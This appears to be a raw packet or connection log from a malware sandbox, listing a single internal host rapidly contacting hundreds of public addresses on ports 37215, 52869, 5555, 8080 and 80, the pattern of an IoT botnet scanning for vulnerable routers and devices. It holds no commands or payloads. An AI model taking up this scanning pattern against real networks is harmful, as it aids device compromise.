Feb 12, 2023 21:24:53.052565098 CET	52981	37215	192.168.2.23	41.24.6.203
Feb 12, 2023 21:24:53.052576065 CET	52981	37215	192.168.2.23	186.221.100.237
Feb 12, 2023 21:24:53.052582026 CET	52981	37215	192.168.2.23	157.224.99.223
Feb 12, 2023 21:24:53.052592993 CET	52981	37215	192.168.2.23	64.195.148.20
Feb 12, 2023 21:24:53.052603006 CET	52981	37215	192.168.2.23	174.235.21.158
Feb 12, 2023 21:24:53.052608967 CET	52981	37215	192.168.2.23	157.63.80.139
Feb 12, 2023 21:24:53.052614927 CET	52981	37215	192.168.2.23	41.85.245.38
Feb 12, 2023 21:24:53.052620888 CET	52981	37215	192.168.2.23	157.80.25.214
Feb 12, 2023 21:24:53.052655935 CET	52981	37215	192.168.2.23	107.177.107.245
Feb 12, 2023 21:24:53.052656889 CET	52981	37215	192.168.2.23	157.51.194.14
Feb 12, 2023 21:24:53.052655935 CET	52981	37215	192.168.2.23	41.82.60.176
Feb 12, 2023 21:24:53.052659988 CET	52981	37215	192.168.2.23	41.174.38.191
Feb 12, 2023 21:24:53.052660942 CET	52981	37215	192.168.2.23	41.81.37.62
Feb 12, 2023 21:24:53.052680969 CET	52981	37215	192.168.2.23	41.187.144.119
Feb 12, 2023 21:24:53.052686930 CET	52981	37215	192.168.2.23	157.29.151.31
Feb 12, 2023 21:24:53.052690029 CET	52981	37215	192.168.2.23	157.234.1.28
Feb 12, 2023 21:24:53.052696943 CET	52981	37215	192.168.2.23	197.146.136.109
Feb 12, 2023 21:24:53.052696943 CET	52981	37215	192.168.2.23	197.92.182.70
Feb 12, 2023 21:24:53.052699089 CET	52981	37215	192.168.2.23	157.230.250.199
Feb 12, 2023 21:24:53.052732944 CET	52981	37215	192.168.2.23	43.159.10.199
Feb 12, 2023 21:24:53.052752018 CET	52981	37215	192.168.2.23	157.161.45.178
Feb 12, 2023 21:24:53.052753925 CET	52981	37215	192.168.2.23	197.36.116.224
Feb 12, 2023 21:24:53.052756071 CET	52981	37215	192.168.2.23	157.112.105.164
Feb 12, 2023 21:24:53.052756071 CET	52981	37215	192.168.2.23	165.231.210.155
Feb 12, 2023 21:24:53.052759886 CET	52981	37215	192.168.2.23	157.181.180.68
Feb 12, 2023 21:24:53.052759886 CET	52981	37215	192.168.2.23	205.211.97.196
Feb 12, 2023 21:24:53.052767992 CET	52981	37215	192.168.2.23	197.48.116.10
Feb 12, 2023 21:24:53.052768946 CET	52981	37215	192.168.2.23	157.182.55.147
Feb 12, 2023 21:24:53.052778006 CET	52981	37215	192.168.2.23	197.240.235.192
Feb 12, 2023 21:24:53.052768946 CET	52981	37215	192.168.2.23	41.7.133.69
Feb 12, 2023 21:24:53.052783012 CET	52981	37215	192.168.2.23	157.128.94.247
Feb 12, 2023 21:24:53.052787066 CET	52981	37215	192.168.2.23	157.135.33.161
Feb 12, 2023 21:24:53.052798033 CET	52981	37215	192.168.2.23	41.201.145.169
Feb 12, 2023 21:24:53.052798986 CET	52981	37215	192.168.2.23	157.132.150.142
Feb 12, 2023 21:24:53.052799940 CET	52981	37215	192.168.2.23	41.133.251.45
Feb 12, 2023 21:24:53.052805901 CET	52981	37215	192.168.2.23	197.59.237.3
Feb 12, 2023 21:24:53.052805901 CET	52981	37215	192.168.2.23	157.246.153.156
Feb 12, 2023 21:24:53.052808046 CET	52981	37215	192.168.2.23	157.22.158.24
Feb 12, 2023 21:24:53.052805901 CET	52981	37215	192.168.2.23	157.218.222.212
Feb 12, 2023 21:24:53.052808046 CET	52981	37215	192.168.2.23	197.39.76.32
Feb 12, 2023 21:24:53.052805901 CET	52981	37215	192.168.2.23	197.35.205.210
Feb 12, 2023 21:24:53.052819014 CET	52981	37215	192.168.2.23	197.186.99.246
Feb 12, 2023 21:24:53.052820921 CET	52981	37215	192.168.2.23	197.86.205.21
Feb 12, 2023 21:24:53.052820921 CET	52981	37215	192.168.2.23	188.77.137.117
Feb 12, 2023 21:24:53.052823067 CET	52981	37215	192.168.2.23	137.37.216.248
Feb 12, 2023 21:24:53.052819014 CET	52981	37215	192.168.2.23	41.193.185.65
Feb 12, 2023 21:24:53.052820921 CET	52981	37215	192.168.2.23	197.29.140.26
Feb 12, 2023 21:24:53.052823067 CET	52981	37215	192.168.2.23	197.122.118.216
Feb 12, 2023 21:24:53.052823067 CET	52981	37215	192.168.2.23	41.249.127.64
Feb 12, 2023 21:24:53.052840948 CET	52981	37215	192.168.2.23	197.173.101.101
Feb 12, 2023 21:24:53.052840948 CET	52981	37215	192.168.2.23	197.21.60.205
Feb 12, 2023 21:24:53.052841902 CET	52981	37215	192.168.2.23	157.233.120.204
Feb 12, 2023 21:24:53.052840948 CET	52981	37215	192.168.2.23	69.54.251.207
Feb 12, 2023 21:24:53.052841902 CET	52981	37215	192.168.2.23	185.111.11.67
Feb 12, 2023 21:24:53.052841902 CET	52981	37215	192.168.2.23	41.64.3.26
Feb 12, 2023 21:24:53.052850008 CET	52981	37215	192.168.2.23	157.152.65.177
Feb 12, 2023 21:24:53.052864075 CET	52981	37215	192.168.2.23	41.41.63.191
Feb 12, 2023 21:24:53.052864075 CET	52981	37215	192.168.2.23	41.31.185.28
Feb 12, 2023 21:24:53.052865982 CET	52981	37215	192.168.2.23	197.173.76.245
Feb 12, 2023 21:24:53.052867889 CET	52981	37215	192.168.2.23	157.235.46.19
Feb 12, 2023 21:24:53.052875042 CET	52981	37215	192.168.2.23	175.215.244.221
Feb 12, 2023 21:24:53.052886009 CET	52981	37215	192.168.2.23	41.163.236.17
Feb 12, 2023 21:24:53.052886009 CET	52981	37215	192.168.2.23	41.132.202.161
Feb 12, 2023 21:24:53.052895069 CET	52981	37215	192.168.2.23	41.223.21.75
Feb 12, 2023 21:24:53.052911997 CET	52981	37215	192.168.2.23	64.254.224.63
Feb 12, 2023 21:24:53.052912951 CET	52981	37215	192.168.2.23	197.3.181.129
Feb 12, 2023 21:24:53.052925110 CET	52981	37215	192.168.2.23	41.19.163.24
Feb 12, 2023 21:24:53.052930117 CET	52981	37215	192.168.2.23	197.254.237.117
Feb 12, 2023 21:24:53.052930117 CET	52981	37215	192.168.2.23	62.242.102.133
Feb 12, 2023 21:24:53.052953005 CET	52981	37215	192.168.2.23	197.95.153.31
Feb 12, 2023 21:24:53.052953959 CET	52981	37215	192.168.2.23	41.22.87.210
Feb 12, 2023 21:24:53.052959919 CET	52981	37215	192.168.2.23	197.140.28.180
Feb 12, 2023 21:24:53.052959919 CET	52981	37215	192.168.2.23	157.214.84.184
Feb 12, 2023 21:24:53.052973032 CET	52981	37215	192.168.2.23	120.164.90.246
Feb 12, 2023 21:24:53.052974939 CET	52981	37215	192.168.2.23	41.129.110.129
Feb 12, 2023 21:24:53.052977085 CET	52981	37215	192.168.2.23	204.200.5.83
Feb 12, 2023 21:24:53.052977085 CET	52981	37215	192.168.2.23	216.93.216.61
Feb 12, 2023 21:24:53.052977085 CET	52981	37215	192.168.2.23	41.219.146.106
Feb 12, 2023 21:24:53.052983999 CET	52981	37215	192.168.2.23	41.158.91.59
Feb 12, 2023 21:24:53.053005934 CET	52981	37215	192.168.2.23	197.45.111.7
Feb 12, 2023 21:24:53.053009033 CET	52981	37215	192.168.2.23	157.176.47.171
Feb 12, 2023 21:24:53.053010941 CET	52981	37215	192.168.2.23	115.242.253.66
Feb 12, 2023 21:24:53.053030968 CET	52981	37215	192.168.2.23	157.251.165.134
Feb 12, 2023 21:24:53.053033113 CET	52981	37215	192.168.2.23	197.41.182.29
Feb 12, 2023 21:24:53.053046942 CET	52981	37215	192.168.2.23	41.12.17.108
Feb 12, 2023 21:24:53.053051949 CET	52981	37215	192.168.2.23	41.173.225.191
Feb 12, 2023 21:24:53.053069115 CET	52981	37215	192.168.2.23	41.218.144.109
Feb 12, 2023 21:24:53.053069115 CET	52981	37215	192.168.2.23	157.142.118.220
Feb 12, 2023 21:24:53.053092003 CET	52981	37215	192.168.2.23	167.142.164.97
Feb 12, 2023 21:24:53.053102970 CET	52981	37215	192.168.2.23	41.5.115.127
Feb 12, 2023 21:24:53.053107977 CET	52981	37215	192.168.2.23	157.250.97.29
Feb 12, 2023 21:24:53.053109884 CET	52981	37215	192.168.2.23	41.252.250.193
Feb 12, 2023 21:24:53.053133011 CET	52981	37215	192.168.2.23	41.58.137.4
Feb 12, 2023 21:24:53.053133011 CET	52981	37215	192.168.2.23	41.182.108.143
Feb 12, 2023 21:24:53.053142071 CET	52981	37215	192.168.2.23	197.77.49.208
Feb 12, 2023 21:24:53.053154945 CET	52981	37215	192.168.2.23	41.208.190.18
Feb 12, 2023 21:24:53.053154945 CET	52981	37215	192.168.2.23	41.217.199.46
Feb 12, 2023 21:24:53.053162098 CET	52981	37215	192.168.2.23	157.121.231.70
Feb 12, 2023 21:24:53.053169966 CET	52981	37215	192.168.2.23	67.238.123.127
Feb 12, 2023 21:24:53.053183079 CET	52981	37215	192.168.2.23	197.82.54.184
Feb 12, 2023 21:24:53.053184986 CET	52981	37215	192.168.2.23	157.195.192.81
Feb 12, 2023 21:24:53.053184986 CET	52981	37215	192.168.2.23	141.169.255.44
Feb 12, 2023 21:24:53.053189993 CET	52981	37215	192.168.2.23	197.36.114.22
Feb 12, 2023 21:24:53.053189993 CET	52981	37215	192.168.2.23	41.200.59.184
Feb 12, 2023 21:24:53.053189993 CET	52981	37215	192.168.2.23	197.22.147.110
Feb 12, 2023 21:24:53.053214073 CET	52981	37215	192.168.2.23	105.173.224.74
Feb 12, 2023 21:24:53.053214073 CET	52981	37215	192.168.2.23	41.212.230.82
Feb 12, 2023 21:24:53.053222895 CET	52981	37215	192.168.2.23	17.31.128.9
Feb 12, 2023 21:24:53.053235054 CET	52981	37215	192.168.2.23	197.130.222.140
Feb 12, 2023 21:24:53.053244114 CET	52981	37215	192.168.2.23	197.175.254.9
Feb 12, 2023 21:24:53.053252935 CET	52981	37215	192.168.2.23	197.112.69.30
Feb 12, 2023 21:24:53.053252935 CET	52981	37215	192.168.2.23	41.75.173.13
Feb 12, 2023 21:24:53.053252935 CET	52981	37215	192.168.2.23	197.249.18.4
Feb 12, 2023 21:24:53.053256989 CET	52981	37215	192.168.2.23	41.4.30.83
Feb 12, 2023 21:24:53.053263903 CET	52981	37215	192.168.2.23	197.220.230.169
Feb 12, 2023 21:24:53.053271055 CET	52981	37215	192.168.2.23	41.166.140.56
Feb 12, 2023 21:24:53.053283930 CET	52981	37215	192.168.2.23	146.219.0.40
Feb 12, 2023 21:24:53.053284883 CET	52981	37215	192.168.2.23	41.187.185.103
Feb 12, 2023 21:24:53.053297997 CET	52981	37215	192.168.2.23	95.197.90.210
Feb 12, 2023 21:24:53.053306103 CET	52981	37215	192.168.2.23	197.85.48.154
Feb 12, 2023 21:24:53.053306103 CET	52981	37215	192.168.2.23	145.6.64.172
Feb 12, 2023 21:24:53.053312063 CET	52981	37215	192.168.2.23	41.4.69.240
Feb 12, 2023 21:24:53.053313971 CET	52981	37215	192.168.2.23	197.186.42.206
Feb 12, 2023 21:24:53.053329945 CET	52981	37215	192.168.2.23	41.154.107.118
Feb 12, 2023 21:24:53.053330898 CET	52981	37215	192.168.2.23	210.167.153.63
Feb 12, 2023 21:24:53.053338051 CET	52981	37215	192.168.2.23	41.10.200.194
Feb 12, 2023 21:24:53.053354979 CET	52981	37215	192.168.2.23	197.249.200.13
Feb 12, 2023 21:24:53.053359032 CET	52981	37215	192.168.2.23	197.154.63.78
Feb 12, 2023 21:24:53.053390026 CET	52981	37215	192.168.2.23	157.141.2.108
Feb 12, 2023 21:24:53.053392887 CET	52981	37215	192.168.2.23	197.215.181.7
Feb 12, 2023 21:24:53.053399086 CET	52981	37215	192.168.2.23	197.78.16.59
Feb 12, 2023 21:24:53.053406000 CET	52981	37215	192.168.2.23	41.16.90.183
Feb 12, 2023 21:24:53.053406000 CET	52981	37215	192.168.2.23	41.116.181.161
Feb 12, 2023 21:24:53.053427935 CET	52981	37215	192.168.2.23	197.153.142.12
Feb 12, 2023 21:24:53.053427935 CET	52981	37215	192.168.2.23	148.191.109.196
Feb 12, 2023 21:24:53.053431034 CET	52981	37215	192.168.2.23	198.78.1.141
Feb 12, 2023 21:24:53.053431034 CET	52981	37215	192.168.2.23	41.52.51.223
Feb 12, 2023 21:24:53.053433895 CET	52981	37215	192.168.2.23	174.35.164.195
Feb 12, 2023 21:24:53.053433895 CET	52981	37215	192.168.2.23	167.210.131.62
Feb 12, 2023 21:24:53.053438902 CET	52981	37215	192.168.2.23	75.55.109.138
Feb 12, 2023 21:24:53.053438902 CET	52981	37215	192.168.2.23	197.72.161.92
Feb 12, 2023 21:24:53.053441048 CET	52981	37215	192.168.2.23	197.126.100.209
Feb 12, 2023 21:24:53.053442001 CET	52981	37215	192.168.2.23	157.172.110.62
Feb 12, 2023 21:24:53.053455114 CET	52981	37215	192.168.2.23	197.29.196.20
Feb 12, 2023 21:24:53.053456068 CET	52981	37215	192.168.2.23	204.53.26.249
Feb 12, 2023 21:24:53.053457022 CET	52981	37215	192.168.2.23	197.218.71.196
Feb 12, 2023 21:24:53.053457975 CET	52981	37215	192.168.2.23	157.86.117.77
Feb 12, 2023 21:24:53.053457022 CET	52981	37215	192.168.2.23	157.9.164.197
Feb 12, 2023 21:24:53.053458929 CET	52981	37215	192.168.2.23	157.94.215.34
Feb 12, 2023 21:24:53.053462029 CET	52981	37215	192.168.2.23	157.246.170.112
Feb 12, 2023 21:24:53.053462029 CET	52981	37215	192.168.2.23	157.19.62.130
Feb 12, 2023 21:24:53.053472996 CET	52981	37215	192.168.2.23	41.139.199.177
Feb 12, 2023 21:24:53.053472996 CET	52981	37215	192.168.2.23	157.249.219.103
Feb 12, 2023 21:24:53.053476095 CET	52981	37215	192.168.2.23	41.22.75.108
Feb 12, 2023 21:24:53.053484917 CET	52981	37215	192.168.2.23	197.145.221.143
Feb 12, 2023 21:24:53.053492069 CET	52981	37215	192.168.2.23	157.80.117.140
Feb 12, 2023 21:24:53.053504944 CET	52981	37215	192.168.2.23	197.151.105.206
Feb 12, 2023 21:24:53.053504944 CET	52981	37215	192.168.2.23	157.24.176.106
Feb 12, 2023 21:24:53.053504944 CET	52981	37215	192.168.2.23	126.157.38.44
Feb 12, 2023 21:24:53.053524971 CET	52981	37215	192.168.2.23	157.33.69.134
Feb 12, 2023 21:24:53.053527117 CET	52981	37215	192.168.2.23	157.148.62.106
Feb 12, 2023 21:24:53.053528070 CET	52981	37215	192.168.2.23	41.147.185.142
Feb 12, 2023 21:24:53.053539991 CET	52981	37215	192.168.2.23	41.158.97.187
Feb 12, 2023 21:24:53.053540945 CET	52981	37215	192.168.2.23	93.194.196.168
Feb 12, 2023 21:24:53.053545952 CET	52981	37215	192.168.2.23	157.228.90.116
Feb 12, 2023 21:24:53.053549051 CET	52981	37215	192.168.2.23	41.131.28.194
Feb 12, 2023 21:24:53.053549051 CET	52981	37215	192.168.2.23	41.145.26.16
Feb 12, 2023 21:24:53.053549051 CET	52981	37215	192.168.2.23	197.147.255.148
Feb 12, 2023 21:24:53.053556919 CET	52981	37215	192.168.2.23	197.6.191.63
Feb 12, 2023 21:24:53.053569078 CET	52981	37215	192.168.2.23	197.45.113.50
Feb 12, 2023 21:24:53.053574085 CET	52981	37215	192.168.2.23	157.39.105.180
Feb 12, 2023 21:24:53.053575039 CET	52981	37215	192.168.2.23	134.249.204.84
Feb 12, 2023 21:24:53.053574085 CET	52981	37215	192.168.2.23	157.81.187.41
Feb 12, 2023 21:24:53.053620100 CET	52981	37215	192.168.2.23	197.140.231.70
Feb 12, 2023 21:24:53.053632975 CET	52981	37215	192.168.2.23	41.248.138.117
Feb 12, 2023 21:24:53.053647041 CET	52981	37215	192.168.2.23	197.81.5.149
Feb 12, 2023 21:24:53.053653002 CET	52981	37215	192.168.2.23	41.108.69.143
Feb 12, 2023 21:24:53.053709030 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:53.105559111 CET	60306	49152	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:53.111848116 CET	37215	52981	41.249.127.64	192.168.2.23
Feb 12, 2023 21:24:53.117845058 CET	37215	38508	197.194.160.175	192.168.2.23
Feb 12, 2023 21:24:53.118062019 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:53.118145943 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:53.118171930 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:53.121144056 CET	37215	52981	197.39.76.32	192.168.2.23
Feb 12, 2023 21:24:53.134851933 CET	37215	52981	197.8.218.200	192.168.2.23
Feb 12, 2023 21:24:53.135507107 CET	54884	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:53.135534048 CET	55640	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:53.135552883 CET	54888	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:53.150638103 CET	37215	52981	41.82.60.176	192.168.2.23
Feb 12, 2023 21:24:53.167553902 CET	55644	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:53.167587042 CET	55648	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:53.167589903 CET	55646	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:53.199551105 CET	38208	80	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:53.205777884 CET	37215	52981	41.203.158.182	192.168.2.23
Feb 12, 2023 21:24:53.222820997 CET	37215	52981	197.210.227.153	192.168.2.23
Feb 12, 2023 21:24:53.268007040 CET	37215	52981	41.139.199.177	192.168.2.23
Feb 12, 2023 21:24:53.391465902 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:53.413475037 CET	41158	8080	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:53.455535889 CET	56366	80	192.168.2.23	51.55.46.52
Feb 12, 2023 21:24:53.487554073 CET	55226	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:53.487567902 CET	49142	80	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:53.487641096 CET	54116	80	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:53.487639904 CET	39304	80	192.168.2.23	52.49.46.57
Feb 12, 2023 21:24:53.519695044 CET	38114	80	192.168.2.23	56.52.46.50
Feb 12, 2023 21:24:53.519695997 CET	51532	81	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:53.715044022 CET	54988	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:53.717031002 CET	55744	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:53.718523026 CET	54992	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:53.720200062 CET	54994	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:53.721940041 CET	54996	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:53.723031998 CET	54998	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:53.807533026 CET	40332	80	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:53.807539940 CET	51068	52869	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:53.811690092 CET	22272	5555	192.168.2.23	126.236.198.66
Feb 12, 2023 21:24:53.811717033 CET	22272	5555	192.168.2.23	85.131.197.192
Feb 12, 2023 21:24:53.811718941 CET	22272	5555	192.168.2.23	199.228.174.244
Feb 12, 2023 21:24:53.811718941 CET	22272	5555	192.168.2.23	46.163.69.183
Feb 12, 2023 21:24:53.811718941 CET	22272	5555	192.168.2.23	8.49.154.119
Feb 12, 2023 21:24:53.811729908 CET	22272	5555	192.168.2.23	204.161.27.71
Feb 12, 2023 21:24:53.811729908 CET	22272	5555	192.168.2.23	176.142.56.143
Feb 12, 2023 21:24:53.811729908 CET	22272	5555	192.168.2.23	138.131.113.221
Feb 12, 2023 21:24:53.811748028 CET	22272	5555	192.168.2.23	189.218.141.50
Feb 12, 2023 21:24:53.811748028 CET	22272	5555	192.168.2.23	62.198.63.131
Feb 12, 2023 21:24:53.811748028 CET	22272	5555	192.168.2.23	142.48.238.55
Feb 12, 2023 21:24:53.811748028 CET	22272	5555	192.168.2.23	64.157.140.221
Feb 12, 2023 21:24:53.811775923 CET	22272	5555	192.168.2.23	181.184.175.30
Feb 12, 2023 21:24:53.811778069 CET	22272	5555	192.168.2.23	141.217.178.229
Feb 12, 2023 21:24:53.811778069 CET	22272	5555	192.168.2.23	173.15.57.12
Feb 12, 2023 21:24:53.811786890 CET	22272	5555	192.168.2.23	40.209.193.250
Feb 12, 2023 21:24:53.811786890 CET	22272	5555	192.168.2.23	8.9.74.224
Feb 12, 2023 21:24:53.811786890 CET	22272	5555	192.168.2.23	48.34.144.166
Feb 12, 2023 21:24:53.811786890 CET	22272	5555	192.168.2.23	66.161.142.1
Feb 12, 2023 21:24:53.811789989 CET	22272	5555	192.168.2.23	117.18.238.246
Feb 12, 2023 21:24:53.811786890 CET	22272	5555	192.168.2.23	187.147.181.69
Feb 12, 2023 21:24:53.811799049 CET	22272	5555	192.168.2.23	206.102.137.250
Feb 12, 2023 21:24:53.811799049 CET	22272	5555	192.168.2.23	125.156.151.35
Feb 12, 2023 21:24:53.811821938 CET	22272	5555	192.168.2.23	148.229.118.68
Feb 12, 2023 21:24:53.811835051 CET	22272	5555	192.168.2.23	136.12.2.229
Feb 12, 2023 21:24:53.811835051 CET	22272	5555	192.168.2.23	23.171.116.198
Feb 12, 2023 21:24:53.811835051 CET	22272	5555	192.168.2.23	217.234.55.113
Feb 12, 2023 21:24:53.811836958 CET	22272	5555	192.168.2.23	205.18.109.210
Feb 12, 2023 21:24:53.811839104 CET	22272	5555	192.168.2.23	47.186.115.36
Feb 12, 2023 21:24:53.811839104 CET	22272	5555	192.168.2.23	101.41.239.99
Feb 12, 2023 21:24:53.811839104 CET	22272	5555	192.168.2.23	70.88.183.241
Feb 12, 2023 21:24:53.811839104 CET	22272	5555	192.168.2.23	201.227.52.140
Feb 12, 2023 21:24:53.811842918 CET	22272	5555	192.168.2.23	165.119.148.147
Feb 12, 2023 21:24:53.811845064 CET	22272	5555	192.168.2.23	95.130.247.40
Feb 12, 2023 21:24:53.811853886 CET	22272	5555	192.168.2.23	178.84.39.110
Feb 12, 2023 21:24:53.811853886 CET	22272	5555	192.168.2.23	122.170.19.221
Feb 12, 2023 21:24:53.811853886 CET	22272	5555	192.168.2.23	119.3.124.194
Feb 12, 2023 21:24:53.811856985 CET	22272	5555	192.168.2.23	54.40.34.81
Feb 12, 2023 21:24:53.811861992 CET	22272	5555	192.168.2.23	202.151.225.105
Feb 12, 2023 21:24:53.811861992 CET	22272	5555	192.168.2.23	143.91.59.138
Feb 12, 2023 21:24:53.811861992 CET	22272	5555	192.168.2.23	71.188.144.41
Feb 12, 2023 21:24:53.811861992 CET	22272	5555	192.168.2.23	204.16.218.151
Feb 12, 2023 21:24:53.811866045 CET	22272	5555	192.168.2.23	51.99.109.88
Feb 12, 2023 21:24:53.811867952 CET	22272	5555	192.168.2.23	66.64.10.157
Feb 12, 2023 21:24:53.811872959 CET	22272	5555	192.168.2.23	139.154.38.84
Feb 12, 2023 21:24:53.811892033 CET	22272	5555	192.168.2.23	218.96.67.161
Feb 12, 2023 21:24:53.811907053 CET	22272	5555	192.168.2.23	31.53.90.141
Feb 12, 2023 21:24:53.811907053 CET	22272	5555	192.168.2.23	62.104.61.215
Feb 12, 2023 21:24:53.811907053 CET	22272	5555	192.168.2.23	174.89.15.12
Feb 12, 2023 21:24:53.811907053 CET	22272	5555	192.168.2.23	53.10.87.198
Feb 12, 2023 21:24:53.811922073 CET	22272	5555	192.168.2.23	210.44.42.21
Feb 12, 2023 21:24:53.811924934 CET	22272	5555	192.168.2.23	44.76.142.26
Feb 12, 2023 21:24:53.811932087 CET	22272	5555	192.168.2.23	206.248.183.15
Feb 12, 2023 21:24:53.811935902 CET	22272	5555	192.168.2.23	148.58.177.228
Feb 12, 2023 21:24:53.811935902 CET	22272	5555	192.168.2.23	38.235.99.167
Feb 12, 2023 21:24:53.811944962 CET	22272	5555	192.168.2.23	160.100.69.122
Feb 12, 2023 21:24:53.811944962 CET	22272	5555	192.168.2.23	95.87.74.247
Feb 12, 2023 21:24:53.811950922 CET	22272	5555	192.168.2.23	131.25.103.222
Feb 12, 2023 21:24:53.811950922 CET	22272	5555	192.168.2.23	118.115.90.125
Feb 12, 2023 21:24:53.811950922 CET	22272	5555	192.168.2.23	193.199.194.193
Feb 12, 2023 21:24:53.811959982 CET	22272	5555	192.168.2.23	5.14.166.221
Feb 12, 2023 21:24:53.811965942 CET	22272	5555	192.168.2.23	150.175.36.251
Feb 12, 2023 21:24:53.811981916 CET	22272	5555	192.168.2.23	82.161.15.161
Feb 12, 2023 21:24:53.811981916 CET	22272	5555	192.168.2.23	192.181.249.114
Feb 12, 2023 21:24:53.811981916 CET	22272	5555	192.168.2.23	165.129.32.203
Feb 12, 2023 21:24:53.811990976 CET	22272	5555	192.168.2.23	77.96.57.200
Feb 12, 2023 21:24:53.811991930 CET	22272	5555	192.168.2.23	98.195.155.76
Feb 12, 2023 21:24:53.812043905 CET	22272	5555	192.168.2.23	115.52.100.2
Feb 12, 2023 21:24:53.812043905 CET	22272	5555	192.168.2.23	118.10.131.2
Feb 12, 2023 21:24:53.812047958 CET	22272	5555	192.168.2.23	1.51.16.250
Feb 12, 2023 21:24:53.812060118 CET	22272	5555	192.168.2.23	43.179.226.53
Feb 12, 2023 21:24:53.812060118 CET	22272	5555	192.168.2.23	220.226.236.141
Feb 12, 2023 21:24:53.812062025 CET	22272	5555	192.168.2.23	107.246.226.192
Feb 12, 2023 21:24:53.812063932 CET	22272	5555	192.168.2.23	70.189.30.246
Feb 12, 2023 21:24:53.812066078 CET	22272	5555	192.168.2.23	211.141.134.216
Feb 12, 2023 21:24:53.812072992 CET	22272	5555	192.168.2.23	140.179.57.140
Feb 12, 2023 21:24:53.812081099 CET	22272	5555	192.168.2.23	211.203.200.241
Feb 12, 2023 21:24:53.812086105 CET	22272	5555	192.168.2.23	161.131.192.224
Feb 12, 2023 21:24:53.812088013 CET	22272	5555	192.168.2.23	100.250.20.70
Feb 12, 2023 21:24:53.812088966 CET	22272	5555	192.168.2.23	198.152.141.57
Feb 12, 2023 21:24:53.812092066 CET	22272	5555	192.168.2.23	204.246.208.148
Feb 12, 2023 21:24:53.812093973 CET	22272	5555	192.168.2.23	162.219.0.246
Feb 12, 2023 21:24:53.812103033 CET	22272	5555	192.168.2.23	129.19.194.54
Feb 12, 2023 21:24:53.812114954 CET	22272	5555	192.168.2.23	191.82.160.174
Feb 12, 2023 21:24:53.812117100 CET	22272	5555	192.168.2.23	47.237.212.128
Feb 12, 2023 21:24:53.812124014 CET	22272	5555	192.168.2.23	37.66.34.60
Feb 12, 2023 21:24:53.812150955 CET	22272	5555	192.168.2.23	124.228.165.184
Feb 12, 2023 21:24:53.812153101 CET	22272	5555	192.168.2.23	46.154.115.78
Feb 12, 2023 21:24:53.812153101 CET	22272	5555	192.168.2.23	50.129.52.216
Feb 12, 2023 21:24:53.812192917 CET	22272	5555	192.168.2.23	202.94.145.255
Feb 12, 2023 21:24:53.812199116 CET	22272	5555	192.168.2.23	79.90.246.138
Feb 12, 2023 21:24:53.812205076 CET	22272	5555	192.168.2.23	204.228.149.228
Feb 12, 2023 21:24:53.812211990 CET	22272	5555	192.168.2.23	146.118.222.180
Feb 12, 2023 21:24:53.812215090 CET	22272	5555	192.168.2.23	103.239.163.205
Feb 12, 2023 21:24:53.812227011 CET	22272	5555	192.168.2.23	196.109.97.0
Feb 12, 2023 21:24:53.812235117 CET	22272	5555	192.168.2.23	208.97.201.43
Feb 12, 2023 21:24:53.812239885 CET	22272	5555	192.168.2.23	50.25.134.192
Feb 12, 2023 21:24:53.812253952 CET	22272	5555	192.168.2.23	12.127.157.240
Feb 12, 2023 21:24:53.812264919 CET	22272	5555	192.168.2.23	67.20.125.247
Feb 12, 2023 21:24:53.812278032 CET	22272	5555	192.168.2.23	160.192.218.66
Feb 12, 2023 21:24:53.812290907 CET	22272	5555	192.168.2.23	109.137.16.72
Feb 12, 2023 21:24:53.812298059 CET	22272	5555	192.168.2.23	137.56.15.160
Feb 12, 2023 21:24:53.812315941 CET	22272	5555	192.168.2.23	103.191.155.103
Feb 12, 2023 21:24:53.812316895 CET	22272	5555	192.168.2.23	150.47.65.172
Feb 12, 2023 21:24:53.812335014 CET	22272	5555	192.168.2.23	84.75.140.161
Feb 12, 2023 21:24:53.812339067 CET	22272	5555	192.168.2.23	220.84.227.242
Feb 12, 2023 21:24:53.812349081 CET	22272	5555	192.168.2.23	210.54.15.146
Feb 12, 2023 21:24:53.812362909 CET	22272	5555	192.168.2.23	162.203.26.151
Feb 12, 2023 21:24:53.812362909 CET	22272	5555	192.168.2.23	78.93.207.255
Feb 12, 2023 21:24:53.812382936 CET	22272	5555	192.168.2.23	134.171.33.107
Feb 12, 2023 21:24:53.812392950 CET	22272	5555	192.168.2.23	158.242.119.157
Feb 12, 2023 21:24:53.812392950 CET	22272	5555	192.168.2.23	54.153.231.236
Feb 12, 2023 21:24:53.812406063 CET	22272	5555	192.168.2.23	167.119.83.54
Feb 12, 2023 21:24:53.812418938 CET	22272	5555	192.168.2.23	164.68.149.92
Feb 12, 2023 21:24:53.812421083 CET	22272	5555	192.168.2.23	59.50.14.22
Feb 12, 2023 21:24:53.812426090 CET	22272	5555	192.168.2.23	19.132.158.65
Feb 12, 2023 21:24:53.812427044 CET	22272	5555	192.168.2.23	108.113.87.229
Feb 12, 2023 21:24:53.812436104 CET	22272	5555	192.168.2.23	192.217.152.231
Feb 12, 2023 21:24:53.812448025 CET	22272	5555	192.168.2.23	154.38.215.208
